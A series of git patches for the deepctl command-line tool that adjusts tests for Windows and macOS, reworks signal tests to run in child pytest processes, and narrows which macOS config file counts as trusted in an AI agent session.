 def test_unreadable_home_raises_the_same(
     tmp_path: Path, monkeypatch: pytest.MonkeyPatch
 ) -> None:
diff --git a/packages/deepctl-core/tests/unit/test_transport.py b/packages/deepctl-core/tests/unit/test_transport.py
index ef458169..1f250440 100644
--- a/packages/deepctl-core/tests/unit/test_transport.py
+++ b/packages/deepctl-core/tests/unit/test_transport.py
@@ -666,6 +666,7 @@ def test_details_omitted_when_empty():
     ]
 
 
+@pytest.mark.skipif(sys.platform == "win32", reason="a bare name needs PATHEXT on Windows")
 def test_prog_bare_name_only_when_which_matches(monkeypatch, tmp_path):
     script = tmp_path / "bin" / "dg"
     script.parent.mkdir()
diff --git a/packages/deepctl-core/tests/unit/test_trust_root_macos.py b/packages/deepctl-core/tests/unit/test_trust_root_macos.py
index 7d73690e..3e56fc79 100644
--- a/packages/deepctl-core/tests/unit/test_trust_root_macos.py
+++ b/packages/deepctl-core/tests/unit/test_trust_root_macos.py
@@ -32,6 +32,7 @@ def test_without_xdg_it_is_application_support(macos):
 @pytest.mark.parametrize(
     "value", [f"{HOME}/.config", f"{HOME}/.config/", f"{HOME}//.config/."]
 )
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX paths")
 def test_xdg_default_follows_the_config(macos, monkeypatch, value):
     monkeypatch.setenv("XDG_CONFIG_HOME", value)
     assert config_module._real_default_config_file() == DOT_CONFIG
diff --git a/tests/unit/test_cache.py b/tests/unit/test_cache.py
index dfe97877..35903fd6 100644
--- a/tests/unit/test_cache.py
+++ b/tests/unit/test_cache.py
@@ -19,6 +19,10 @@
 
 from deepctl import _cache, _cli, _manifest
 
+# The cache's location, modes and owners are POSIX here: on Windows the real
+# cache root is LocalAppData, which these tests can't redirect.
+pytestmark = pytest.mark.skipif(sys.platform == "win32", reason="POSIX cache")
+
 if TYPE_CHECKING:
     from collections.abc import Iterator
 
diff --git a/tests/unit/test_entry_point.py b/tests/unit/test_entry_point.py
index 37283d2e..2be62dfa 100644
--- a/tests/unit/test_entry_point.py
+++ b/tests/unit/test_entry_point.py
@@ -71,6 +71,7 @@ def test_python_dash_m_and_isolated(self, tmp_path: Path) -> None:
             assert proc.returncode == 0, proc.stderr
             assert proc.stdout == f"deepctl, version {__version__}\n"
 
+    @pytest.mark.skipif(sys.platform == "win32", reason="preexec_fn and EPIPE")
     def test_closed_pipe_and_closed_stdout_exit_quietly(self, tmp_path: Path) -> None:
         """`dg --version | true` and `dg --version >&-`: exit 0, no traceback."""
         code = (
diff --git a/tests/unit/test_help_agent_mode.py b/tests/unit/test_help_agent_mode.py
index 19bbfa81..3815c62f 100644
--- a/tests/unit/test_help_agent_mode.py
+++ b/tests/unit/test_help_agent_mode.py
@@ -45,7 +45,11 @@ def _render(**env: str) -> str:
         ("person.txt", {}),
     ],
 )
-def test_golden(golden: str, env: dict[str, str]) -> None:
+def test_golden(
+    golden: str, env: dict[str, str], monkeypatch: pytest.MonkeyPatch
+) -> None:
+    # The goldens are the POSIX text (Windows has no `chmod 600` line).
+    monkeypatch.setattr(sys, "platform", "linux")
     expected = (GOLDEN / golden).read_text(encoding="utf-8")
     assert _render(**env) == expected
 
diff --git a/tests/unit/test_help_parity.py b/tests/unit/test_help_parity.py
index 28b4ea9f..e9014075 100644
--- a/tests/unit/test_help_parity.py
+++ b/tests/unit/test_help_parity.py
@@ -187,6 +187,7 @@ def test_help_from_spec_matches_eager(
     assert spec[1].startswith("Usage: ")
 
 
+@pytest.mark.skipif(sys.platform == "win32", reason="XDG config location and POSIX modes")
 def test_matrix_reaches_the_notices(tmp_path: Path) -> None:
     """The fixtures print what they're there for on the spec path, and each
     deepgram.yaml warning prints exactly once, with its real text."""
diff --git a/tests/unit/test_lazy_group.py b/tests/unit/test_lazy_group.py
index 06a94cfe..38d21f5b 100644
--- a/tests/unit/test_lazy_group.py
+++ b/tests/unit/test_lazy_group.py
@@ -696,6 +696,7 @@ def counted(group: str) -> bool:
             '{"stamp": "other", "builtin_only": ["debug"]}',
         ],
     )
+    @pytest.mark.skipif(sys.platform == "win32", reason="POSIX modes and cache location")
     def test_builtin_only_cache_ignores_a_changed_file(
         self, fresh_cli: _cli.LazyGroup, content: str
     ) -> None:
diff --git a/tests/unit/test_stream_discipline.py b/tests/unit/test_stream_discipline.py
index 037d0e30..e9c473a8 100644
--- a/tests/unit/test_stream_discipline.py
+++ b/tests/unit/test_stream_discipline.py
@@ -88,6 +88,7 @@ def home(tmp_path: Path) -> Path:
 
 
 class TestConfigWarnings:
+    @pytest.mark.skipif(sys.platform == "win32", reason="XDG config location")
     def test_malformed_config_json_stdout_stays_clean(self, home: Path) -> None:
         _user_config(home).write_text("profiles: [\n  bad", encoding="utf-8")
         proc = _dg(home, "-o", "json", "models")
@@ -111,6 +112,7 @@ def test_unreadable_config_json_stdout_stays_clean(self, home: Path) -> None:
         json.loads(proc.stdout)
         assert proc.stderr.count("Could not load config") == 1
 
+    @pytest.mark.skipif(sys.platform == "win32", reason="XDG config location")
     def test_malformed_config_human_output_warns_once_on_stderr(
         self, home: Path
     ) -> None:

From 63762d02641daf87e325e7c9235d75903c116f37 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 22:24:27 -0500
Subject: [PATCH 78/88] fix(config): on macOS, follow ~/.config only where
 platformdirs does

In an AI agent session the one config that may approve hosts is the
default file under the account's home. On macOS that was taken to be
~/.config/deepctl/config.yaml whenever XDG_CONFIG_HOME named the XDG
default, but platformdirs before 4.6 ignores XDG_CONFIG_HOME on macOS
and reads Application Support, which the declared floor (3.0) allows.
The XDG default is now followed only when the installed platformdirs
puts the config there too, so the trusted file is the one dg reads.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../deepctl-core/src/deepctl_core/config.py   | 28 ++++++++++++++-----
 .../tests/unit/test_trust_root_macos.py       | 13 +++++++++
 2 files changed, 34 insertions(+), 7 deletions(-)

diff --git a/packages/deepctl-core/src/deepctl_core/config.py b/packages/deepctl-core/src/deepctl_core/config.py
index 0377c314..4ae74a1a 100644
--- a/packages/deepctl-core/src/deepctl_core/config.py
+++ b/packages/deepctl-core/src/deepctl_core/config.py
@@ -289,11 +289,13 @@ def _real_default_config_file() -> Path | None:
     """Where platformdirs puts the user config with no ``HOME`` or
     ``XDG_CONFIG_HOME`` override: derived from the account itself.
 
-    On macOS, platformdirs moves the config to ``$XDG_CONFIG_HOME`` when
-    that is set. Only the XDG default, ``~/.config`` under the account's
-    own home, is followed there: it is a fixed path, like the Linux one.
-    Any other value keeps ``~/Library/Application Support``, so a file
-    somewhere else (a repository, say) never counts in an agent session.
+    On macOS, platformdirs 4.6 and later move the config to
+    ``$XDG_CONFIG_HOME`` when that is set. Only the XDG default,
+    ``~/.config`` under the account's own home, is followed there: it is a
+    fixed path, like the Linux one, and only when the installed platformdirs
+    really puts the config there. Any other value keeps
+    ``~/Library/Application Support``, so a file somewhere else (a
+    repository, say) never counts in an agent session.
     """
     if sys.platform == "win32":
         base = _windows_folder(0x1C)  # CSIDL_LOCAL_APPDATA
@@ -306,8 +308,10 @@ def _real_default_config_file() -> Path | None:
     xdg_default = Path(home) / ".config" / "deepctl" / "config.yaml"
     if sys.platform == "darwin":
         xdg = os.environ.get("XDG_CONFIG_HOME", "")
-        if os.path.isabs(xdg) and os.path.normpath(xdg) == os.path.join(
-            os.path.normpath(home), ".config"
+        if (
+            os.path.isabs(xdg)
+            and os.path.normpath(xdg) == os.path.join(os.path.normpath(home), ".config")
+            and _platformdirs_follows_xdg(xdg)
         ):
             return xdg_default
         return (
@@ -316,6 +320,16 @@ def _real_default_config_file() -> Path | None:
     return xdg_default
 
 
+def _platformdirs_follows_xdg(xdg: str) -> bool:
+    """Whether platformdirs puts the user config under ``xdg`` (it does on
+    macOS from 4.6), so the trust root is the file dg actually reads."""
+    try:
+        used = platformdirs.user_config_dir("deepctl", "deepgram")
+    except Exception:
+        return False
+    return os.path.normpath(used) == os.path.join(os.path.normpath(xdg), "deepctl")
+
+
 def _trust_root_location() -> tuple[Path, Path] | None:
     """``(real home, config file)`` for the one file that may widen trust in
     an AI agent session: the default location derived from the account's
diff --git a/packages/deepctl-core/tests/unit/test_trust_root_macos.py b/packages/deepctl-core/tests/unit/test_trust_root_macos.py
index 3e56fc79..90fd7789 100644
--- a/packages/deepctl-core/tests/unit/test_trust_root_macos.py
+++ b/packages/deepctl-core/tests/unit/test_trust_root_macos.py
@@ -55,6 +55,19 @@ def test_any_other_xdg_keeps_application_support(macos, monkeypatch, value):
     assert config_module._real_default_config_file() == LIBRARY
 
 
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX paths")
+def test_xdg_default_needs_platformdirs_to_follow_it(macos, monkeypatch):
+    """platformdirs before 4.6 ignores XDG_CONFIG_HOME on macOS and reads
+    Application Support: the trust root stays the file dg reads."""
+    monkeypatch.setenv("XDG_CONFIG_HOME", f"{HOME}/.config")
+    monkeypatch.setattr(
+        config_module.platformdirs,
+        "user_config_dir",
+        lambda *_a, **_k: str(LIBRARY.parent),
+    )
+    assert config_module._real_default_config_file() == LIBRARY
+
+
 def test_home_env_never_counts(macos, monkeypatch):
     monkeypatch.setenv("HOME", "/tmp/fakehome")
     monkeypatch.setenv("XDG_CONFIG_HOME", "/tmp/fakehome/.config")

From df1e7dacb167686b260151b8b5dcd49637359c7e Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 22:31:14 -0500
Subject: [PATCH 79/88] test: make the terminal, config path and socket tests
 pass on macOS

- Tests that give a child a terminal read it while the child runs. macOS
  drops what is still unread once the child's side closes, and a full
  terminal blocks the child, so the agent-mode notice test timed out and
  the NO_COLOR test read nothing.
- The help parity fixtures and the legacy config migration test put the
  config where platformdirs looks on the OS (Application Support on
  macOS), instead of ~/.config, and the migration test flushes notices
  an earlier test queued.
- The socket test binds a relative name: macOS limits a socket path to
  104 bytes, and the temp directory can be longer.
- The login skills tests pin the console's height too, since rich uses
  80 columns on TERM=dumb unless both are set.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../tests/unit/test_login_command.py          |  3 ++
 .../tests/unit/test_speak_output.py           | 11 ++++---
 .../deepctl-core/tests/unit/test_agents.py    |  9 +++---
 .../tests/unit/test_config_login.py           | 20 +++++++++---
 tests/unit/test_help_parity.py                | 13 ++++++--
 tests/unit/test_stream_discipline.py          | 32 +++++++++++--------
 6 files changed, 60 insertions(+), 28 deletions(-)

diff --git a/packages/deepctl-cmd-login/tests/unit/test_login_command.py b/packages/deepctl-cmd-login/tests/unit/test_login_command.py
index f487a58e..c665bda1 100644
--- a/packages/deepctl-cmd-login/tests/unit/test_login_command.py
+++ b/packages/deepctl-cmd-login/tests/unit/test_login_command.py
@@ -48,7 +48,9 @@ def home(tmp_path, monkeypatch):
     monkeypatch.setattr(shutil, "which", lambda name: None)
     monkeypatch.delenv(skill_bundle.REF_ENV_VAR, raising=False)
     for con in (output.console, output.stderr_console, login_module.console):
+        # Both: rich uses 80x25 on TERM=dumb unless the size is fully set.
         monkeypatch.setattr(con, "_width", 400)
+        monkeypatch.setattr(con, "_height", 25)
     saved = dict(output._output_config)
     output._output_config.update(agentic=True, format="default", quiet=False)
     # The mock config has no real file: nothing for login's pre-flight to check.
@@ -701,6 +703,7 @@ def test_login_markup_in_home_path_prints_literally(
         monkeypatch.setitem(output._output_config, "agentic", True)
         for con in (output.console, output.stderr_console, login_module.console):
             monkeypatch.setattr(con, "_width", 400)
+            monkeypatch.setattr(con, "_height", 25)
         use_home(monkeypatch, tmp_path / "[dim]home")
         detect("claude")
         out, err, _ = run_skills_step(monkeypatch, capsys)
diff --git a/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py b/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py
index de30277a..1a5e894e 100644
--- a/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py
+++ b/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py
@@ -193,15 +193,18 @@ def test_fifo_with_no_reader_is_refused_not_waited_on(self, tmp_path):
         assert refusal.error.errno == errno.ENXIO
         assert refusal.error.strerror == "no program is reading from that pipe"
 
-    def test_socket_is_refused(self, tmp_path):
+    def test_socket_is_refused(self, tmp_path, monkeypatch):
         """Only character devices and FIFOs are written as they are."""
         import socket
 
-        path = tmp_path / "s"
+        # A relative name: macOS limits a socket path to 104 bytes, and the
+        # test's temp directory can be longer than that.
+        monkeypatch.chdir(tmp_path)
+        path = "s"
         sock = socket.socket(socket.AF_UNIX)
-        sock.bind(str(path))
+        sock.bind(path)
         try:
-            refusal = sinks.plan_target(str(path), overwrite=True)
+            refusal = sinks.plan_target(str(tmp_path / path), overwrite=True)
             assert refusal.reason == "unwritable"
             assert refusal.error.strerror == (
                 "it isn't a file, a pipe or a device like /dev/null"
diff --git a/packages/deepctl-core/tests/unit/test_agents.py b/packages/deepctl-core/tests/unit/test_agents.py
index 4dd065cc..53a7d28e 100644
--- a/packages/deepctl-core/tests/unit/test_agents.py
+++ b/packages/deepctl-core/tests/unit/test_agents.py
@@ -355,25 +355,26 @@ def test_console_on_a_terminal_honors_no_color(env, ansi):
         if k not in (*agents.HARD_ENV_VARS, "DG_AGENT", "NO_COLOR", "FORCE_COLOR", "CI")
     }
     master, slave = pty.openpty()
-    proc = subprocess.run(
+    proc = subprocess.Popen(
         [sys.executable, "-c", code],
         stdin=slave,
         stdout=slave,
         stderr=slave,
         env={**clean, "TERM": "xterm-256color", "PATH": "/usr/bin:/bin", **env},
-        timeout=60,
-        check=True,
     )
     os.close(slave)
+    # Read while the child runs: macOS drops what is still unread in the
+    # terminal once the child's side closes, and a full terminal blocks it.
     out = b""
     while True:
         try:
             chunk = os.read(master, 4096)
-        except OSError:
+        except OSError:  # EIO: the child closed its side
             break
         if not chunk:
             break
         out += chunk
+    proc.wait(timeout=60)
     os.close(master)
     assert proc.returncode == 0
     assert (b"\x1b[" in out) is ansi, out
diff --git a/packages/deepctl-core/tests/unit/test_config_login.py b/packages/deepctl-core/tests/unit/test_config_login.py
index 6efaa091..e0d5c1b3 100644
--- a/packages/deepctl-core/tests/unit/test_config_login.py
+++ b/packages/deepctl-core/tests/unit/test_config_login.py
@@ -20,20 +20,30 @@ def test_save_refusal_carries_its_cause(tmp_path):
 
 @pytest.mark.skipif(sys.platform == "win32", reason="POSIX homes")
 def test_legacy_migration_prints_to_stderr_only(tmp_path, monkeypatch, capsys):
+    import platformdirs
+
+    from deepctl_core import config as config_module
+
     home = tmp_path / "home"
-    old = home / ".config" / "deepgram"
-    old.mkdir(parents=True)
-    (old / "config.yaml").write_text("output:\n  format: json\n")
     monkeypatch.setenv("HOME", str(home))
     monkeypatch.delenv("XDG_CONFIG_HOME", raising=False)
     monkeypatch.setattr(Path, "home", staticmethod(lambda: home))
     monkeypatch.setattr("deepctl_core.output.is_ai_agent", lambda: False)
     monkeypatch.chdir(tmp_path)
-    from deepctl_core import config as config_module
+    # The OS's own locations (~/.config on Linux, Application Support on
+    # macOS), under this HOME.
+    old = Path(platformdirs.user_config_dir("deepgram", "deepgram"))
+    new = Path(platformdirs.user_config_dir("deepctl", "deepgram"))
+    assert home in old.parents and home in new.parents
+    old.mkdir(parents=True)
+    (old / "config.yaml").write_text("output:\n  format: json\n")
+    # Nothing an earlier test queued may count here.
+    config_module.flush_config_notices()
+    capsys.readouterr()
 
     Config()
     config_module.flush_config_notices()
     captured = capsys.readouterr()
     assert captured.out == ""
     assert captured.err.count("Copied the config from") == 1
-    assert os.path.exists(home / ".config" / "deepctl" / "config.yaml")
+    assert os.path.exists(new / "config.yaml")
diff --git a/tests/unit/test_help_parity.py b/tests/unit/test_help_parity.py
index e9014075..1f5b05b3 100644
--- a/tests/unit/test_help_parity.py
+++ b/tests/unit/test_help_parity.py
@@ -87,6 +87,15 @@ def _cases() -> list[tuple[list[str], str, str, str]]:
     return sample
 
 
+# Where the user config is under HOME: platformdirs' default for the OS (the
+# runs clear XDG_CONFIG_HOME).
+CONFIG = (
+    Path("Library", "Application Support", "deepctl", "config.yaml")
+    if sys.platform == "darwin"
+    else Path(".config", "deepctl", "config.yaml")
+)
+
+
 def _fixture(root: Path, fixture: str, variant: str) -> tuple[Path, Path]:
     """Build ``root`` afresh: (home, cwd)."""
     if root.exists():
@@ -98,7 +107,7 @@ def _fixture(root: Path, fixture: str, variant: str) -> tuple[Path, Path]:
     home.mkdir(parents=True)
     cwd.mkdir()
     if fixture in ("trusted", "untrusted-agent"):
-        config = home / ".config" / "deepctl" / "config.yaml"
+        config = home / CONFIG
         config.parent.mkdir(parents=True)
         config.write_text(yaml.safe_dump(TRUSTED))
         # A key in a 0644 file: a person's run restricts it (I-PERM-FIXED).
@@ -207,7 +216,7 @@ def test_matrix_reaches_the_notices(tmp_path: Path) -> None:
     ]
     assert len(agent_lines) == 4
     _, _, err = _run(["speak"], "80", "plain", "trusted", root, "spec")
-    assert "Restricted ~/.config/deepctl/config.yaml to owner-only access" in err
+    assert f"Restricted ~/{CONFIG.as_posix()} to owner-only access" in err
 
 
 def test_leaves_cover_the_t3_rows() -> None:
diff --git a/tests/unit/test_stream_discipline.py b/tests/unit/test_stream_discipline.py
index e9c473a8..08f09d62 100644
--- a/tests/unit/test_stream_discipline.py
+++ b/tests/unit/test_stream_discipline.py
@@ -243,7 +243,7 @@ def test_notice_for_a_person_at_a_terminal(
         self, home: Path, env: dict[str, str], expected: str | None
     ) -> None:
         import pty
-        import select
+        import threading
 
         master, slave = pty.openpty()
         code = (
@@ -259,19 +259,25 @@ def test_notice_for_a_person_at_a_terminal(
             cwd=home,
         )
         os.close(slave)
+        # Read the terminal while the child runs: on macOS a full terminal
+        # blocks the child, and what is unread when its side closes is lost.
+        chunks: list[bytes] = []
+
+        def drain() -> None:
+            while True:
+                try:
+                    chunk = os.read(master, 65536)
+                except OSError:  # EIO: the child closed its side
+                    return
+                if not chunk:
+                    return
+                chunks.append(chunk)
+
+        reader = threading.Thread(target=drain, daemon=True)
+        reader.start()
         out, _ = proc.communicate(timeout=60)
-        err = b""
-        while True:
-            ready, _, _ = select.select([master], [], [], 0.5)
-            if not ready:
-                break
-            try:
-                chunk = os.read(master, 65536)
-            except OSError:
-                break
-            if not chunk:
-                break
-            err += chunk
+        reader.join(timeout=10)
+        err = b"".join(chunks)
         os.close(master)
         text = err.decode("utf-8", "replace").replace("\r\n", "\n")
         flat = " ".join(text.split())

From e8807518a1bfd73a917cb09d7ad09e24a6b7f1dc Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 22:31:22 -0500
Subject: [PATCH 80/88] test(speak): send each test signal to one thread, in a
 child process

On macOS the signal tests failed, or ended the whole pytest run by
SIGTERM. os.kill on the test's own process lets the kernel hand the
signal to any thread that doesn't block it, at a time it picks: while a
file section blocks it in the main thread, another thread takes it, and
Python could run the handler only after the speak guard had put the
default action back. The deferral itself holds: a signal the main thread
sees inside a section waits for its end, and one that comes later is
handled as usual. The tests now send each signal to one thread, the main
thread (raise_signal or pthread_kill) or a helper thread started before
any section blocks it, and cover both. Every test that signals its own
process runs in a child pytest process (the signals_in_child mark), so
a missing handler fails that test instead of ending the run. The signal
flood script raises only inside the section's own code, so its
exception can't escape the loop around it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 conftest.py                                   | 54 ++++++++++++
 .../tests/unit/test_speak_output.py           | 83 +++++++++++++++----
 2 files changed, 123 insertions(+), 14 deletions(-)

diff --git a/conftest.py b/conftest.py
index 20c94591..fb9b6113 100644
--- a/conftest.py
+++ b/conftest.py
@@ -95,3 +95,57 @@ def _fresh_credentials_state():
     credentials._reset_for_tests()
     yield
     credentials._reset_for_tests()
+
+
+# ── Tests that send this process a real signal run in a child process ──────
+#
+# A test marked ``signals_in_child`` sends SIGTERM, SIGINT or SIGHUP to its
+# own process. If the handler it relies on isn't installed (a bug, or a
+# signal that arrives late), that signal would end or interrupt the whole
+# pytest run. So the test runs in a pytest child of its own; this process
+# only checks that the child passed.
+
+_CHILD_NODE_ENV = "DEEPCTL_TEST_CHILD_NODE"
+_BASE_ENV = dict(os.environ)
+
+
+def pytest_configure(config):
+    config.addinivalue_line(
+        "markers",
+        "signals_in_child: the test sends its own process a real signal; "
+        "it runs in a child pytest process",
+    )
+
+
+@pytest.hookimpl(tryfirst=True)
+def pytest_pyfunc_call(pyfuncitem):
+    if pyfuncitem.get_closest_marker("signals_in_child") is None:
+        return None
+    if os.environ.get(_CHILD_NODE_ENV) == pyfuncitem.nodeid:
+        return None  # this is the child: run the test here
+    import subprocess
+    import sys
+
+    config = pyfuncitem.config
+    node = str(pyfuncitem.path) + "::" + pyfuncitem.nodeid.split("::", 1)[1]
+    argv = [sys.executable, "-m", "pytest", "-q", "-p", "no:cacheprovider"]
+    argv += ["-p", "no:warnings"]
+    argv += ["--rootdir", str(config.rootpath)]
+    if config.inipath is not None:
+        argv += ["-c", str(config.inipath)]
+    argv += [node]
+    proc = subprocess.run(
+        argv,
+        cwd=config.invocation_params.dir,
+        env={**_BASE_ENV, _CHILD_NODE_ENV: pyfuncitem.nodeid},
+        stdin=subprocess.DEVNULL,
+        capture_output=True,
+        text=True,
+        timeout=300,
+    )
+    output = proc.stdout[-5000:] + proc.stderr[-1000:]
+    if proc.returncode < 0:
+        pytest.fail(f"the child test process was killed by signal {-proc.returncode}:\n{output}")
+    if proc.returncode != 0 or " passed" not in proc.stdout:
+        pytest.fail(f"the child test process failed ({proc.returncode}):\n{output}")
+    return True
diff --git a/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py b/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py
index 1a5e894e..37de1db9 100644
--- a/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py
+++ b/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py
@@ -32,6 +32,32 @@
 )
 
 
+class _SignalFromAnotherThread:
+    """A thread, started before any section blocks signals (a thread
+    inherits its creator's mask), that takes ``signum`` itself when
+    ``send()`` is called: pthread_kill to itself delivers it before the
+    call returns, and Python runs the handler in the main thread."""
+
+    def __init__(self, signum: int) -> None:
+        import signal
+
+        self._go = threading.Event()
+        self._sent = threading.Event()
+
+        def run() -> None:
+            self._go.wait()
+            signal.pthread_kill(threading.get_ident(), signum)
+            self._sent.set()
+
+        self._thread = threading.Thread(target=run, daemon=True)
+        self._thread.start()
+
+    def send(self) -> None:
+        self._go.set()
+        assert self._sent.wait(10)
+        self._thread.join(10)
+
+
 class _Cut(Exception):
     """Stands in for the SDK error a dropped connection raises."""
 
@@ -683,6 +709,7 @@ def test_machine_format_result_keeps_the_040_keys(self, fake_sys, client):
 # ── SIGTERM / SIGHUP mid-stream ─────────────────────────────────────────
 
 
+@pytest.mark.signals_in_child
 class TestTerminateMidStream:
     @pytest.fixture
     def died(self, monkeypatch):
@@ -702,7 +729,7 @@ def gen():
             for i, chunk in enumerate(chunks):
                 yield chunk
                 if i == 0:
-                    os.kill(os.getpid(), sig)
+                    _signal.raise_signal(sig)
             raise AssertionError("the signal should have stopped the stream")
 
         return gen(), _signal
@@ -753,7 +780,7 @@ def test_a_stalled_unwind_is_cut_short_by_the_second_signal(
             speak._terminate_cleanly(lambda: cleaned.append(True)),
         ):
             try:
-                os.kill(os.getpid(), signal.SIGTERM)
+                signal.raise_signal(signal.SIGTERM)
                 time.sleep(1)  # unreachable: the handler raises
             except speak._Terminated:
                 # "Stuck" unwinding: wait until the re-delivered signal ends
@@ -776,9 +803,9 @@ def test_second_ctrl_c_cleans_up_and_cancels_like_the_first(self, monkeypatch):
             speak._terminate_cleanly(lambda: cleaned.append(True)),
         ):
             try:
-                os.kill(os.getpid(), signal.SIGINT)
+                signal.raise_signal(signal.SIGINT)
             except KeyboardInterrupt:
-                os.kill(os.getpid(), signal.SIGINT)
+                signal.raise_signal(signal.SIGINT)
         assert cleaned == [True]
         assert exits == []
         timers = [t for t in threading.enumerate() if isinstance(t, threading.Timer)]
@@ -789,6 +816,7 @@ def test_second_ctrl_c_cleans_up_and_cancels_like_the_first(self, monkeypatch):
 # ── Round 3: ignored signals, special bits, critical sections, fd paths ──
 
 
+@pytest.mark.signals_in_child
 class TestIgnoredSignalsStayIgnored:
     """nohup, background jobs and `trap ''` keep their dispositions."""
 
@@ -801,7 +829,7 @@ def test_sig_ign_is_left_alone(self, signame):
         try:
             with speak._terminate_cleanly(lambda: None):
                 assert signal.getsignal(sig) is signal.SIG_IGN
-                os.kill(os.getpid(), sig)  # ignored: nothing raises
+                signal.raise_signal(sig)  # ignored: nothing raises
             assert signal.getsignal(sig) is signal.SIG_IGN
         finally:
             signal.signal(sig, before)
@@ -839,7 +867,7 @@ def test_the_stream_completes_through_an_ignored_sighup(
 
         def gen():
             yield b"\x01\x00"
-            os.kill(os.getpid(), signal.SIGHUP)
+            signal.raise_signal(signal.SIGHUP)
             yield b"\x02\x00"
 
         if model.startswith("flux"):
@@ -890,17 +918,36 @@ def boom(*a):
         assert [p.name for p in tmp_path.iterdir()] == ["a.wav"]
         assert path.read_bytes() == b"old"
 
-    def test_signals_wait_for_the_end_of_a_critical_section(self):
+    @pytest.mark.signals_in_child
+    @pytest.mark.parametrize("taken_by", ["main", "another thread"])
+    def test_signals_wait_for_the_end_of_a_critical_section(self, taken_by):
+        """A signal sent to the main thread stays pending while the section
+        blocks it; one another thread takes is handled in the main thread
+        and deferred. Either way it ends the run only after the section.
+
+        Each is sent to one thread (pthread_kill): a signal sent to the
+        process can be taken by any thread that doesn't block it, at a time
+        the kernel picks (on macOS, after the section may have ended)."""
         import signal
 
         seen: list[str] = []
+        main = threading.main_thread().ident
+        assert main is not None
+        other = _SignalFromAnotherThread(signal.SIGTERM)
 
         with (
             pytest.raises(speak._Terminated),
             speak._terminate_cleanly(lambda: None),
         ):
             with sinks.critical_section():
-                os.kill(os.getpid(), signal.SIGTERM)
+                if taken_by == "main":
+                    signal.pthread_kill(main, signal.SIGTERM)
+                else:
+                    other.send()
+                    deadline = time.monotonic() + 5
+                    while not sinks._deferred and time.monotonic() < deadline:
+                        time.sleep(0.001)  # the handler runs and defers
+                    assert sinks._deferred == [signal.SIGTERM]
                 seen.append("still inside")
             seen.append("unreachable")
         assert seen == ["still inside"]
@@ -957,6 +1004,7 @@ class TestSignalGuardEdges:
     """Windows re-delivery, the restore window, masks left blocked, bursts, and
     cleanup outside the guard."""
 
+    @pytest.mark.signals_in_child
     def test_signal_inside_importlib_comes_again_later(self, monkeypatch):
         """A raise inside importlib's lock bookkeeping can leave the import
         lock held (a hang), so the guard lets the signal come again."""
@@ -974,11 +1022,11 @@ def test_signal_inside_importlib_comes_again_later(self, monkeypatch):
             pytest.raises(speak._Terminated),
             speak._terminate_cleanly(lambda: cleaned.append(True)),
         ):
-            os.kill(os.getpid(), signal.SIGTERM)
+            signal.raise_signal(signal.SIGTERM)
             time.sleep(0.05)  # handled, deferred: no raise
             assert later == [signal.SIGTERM]
             inside[0] = False
-            os.kill(os.getpid(), signal.SIGTERM)
+            signal.raise_signal(signal.SIGTERM)
             time.sleep(1)  # unreachable: the handler raises
         assert cleaned == []  # first signal: unwinding, no forced cleanup
         signals._deferred_since.clear()
@@ -1060,6 +1108,7 @@ def test_windows_never_kills_its_own_process(self, monkeypatch):
         assert info.value.code == 128 + signal.SIGTERM
         assert not [k for k in killed if k[0] == own]
 
+    @pytest.mark.signals_in_child
     def test_deferred_signal_is_raised_not_killed(self, monkeypatch):
         import signal
 
@@ -1083,6 +1132,7 @@ def h(signum, frame):
         finally:
             signal.signal(signal.SIGHUP, before)
 
+    @pytest.mark.signals_in_child
     def test_most_severe_deferred_signal_wins(self):
         """TERM then INT during a section ends by TERM."""
         import signal
@@ -1105,6 +1155,7 @@ def h(signum, frame):
             for s, old in saved.items():
                 signal.signal(s, old)
 
+    @pytest.mark.signals_in_child
     @pytest.mark.parametrize("signame", ["SIGINT", "SIGTERM"])
     def test_a_signal_during_the_restore_reaches_the_restored_handler(
         self, monkeypatch, signame
@@ -1126,7 +1177,7 @@ def test_a_signal_during_the_restore_reaches_the_restored_handler(
         def wrapped(s, h):
             if armed[0] and getattr(h, "__name__", "") != "handler":
                 armed[0] = False
-                os.kill(os.getpid(), sig)  # arrives during the restore
+                signal.raise_signal(sig)  # arrives during the restore
             return real(s, h)
 
         cleaned: list[bool] = []
@@ -1173,6 +1224,10 @@ class Boom(BaseException): pass
 def h(signum, frame):
     if sinks.defer_signal(signum) or stop.is_set():
         return
+    # Only inside sinks' own code, the section's setup and teardown: raised
+    # anywhere else (the loop around it), Boom could escape the script.
+    if frame is None or frame.f_code.co_filename != sinks.__file__:
+        return
     raise Boom
 h._deepctl_defers = True
 signal.signal(signal.SIGTERM, h)
@@ -1210,6 +1265,7 @@ def flood():
         assert "masks_left_blocked=0 critical=0" in p.stdout, p.stdout
         assert "raises=0" not in p.stdout
 
+    @pytest.mark.signals_in_child
     def test_abort_outside_the_guard_still_removes_the_temp_file(self, tmp_path):
         """A Ctrl-C taken by another thread while abort() runs with no
         guard installed is held until the removal is done."""
@@ -1221,13 +1277,12 @@ def test_abort_outside_the_guard_still_removes_the_temp_file(self, tmp_path):
         out.write(b"x" * 100)
         real_close = os.close
         fd = out._fd
+        other = _SignalFromAnotherThread(signal.SIGINT)
 
         def close_then_signal(n):
             real_close(n)
             if n == fd:
-                t = threading.Thread(target=os.kill, args=(os.getpid(), signal.SIGINT))
-                t.start()
-                t.join()
+                other.send()
                 time.sleep(0.05)
 
         sinks.os.close = close_then_signal

From fc69d485ef8150cf977f2f7e70615f5acdd2961d Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
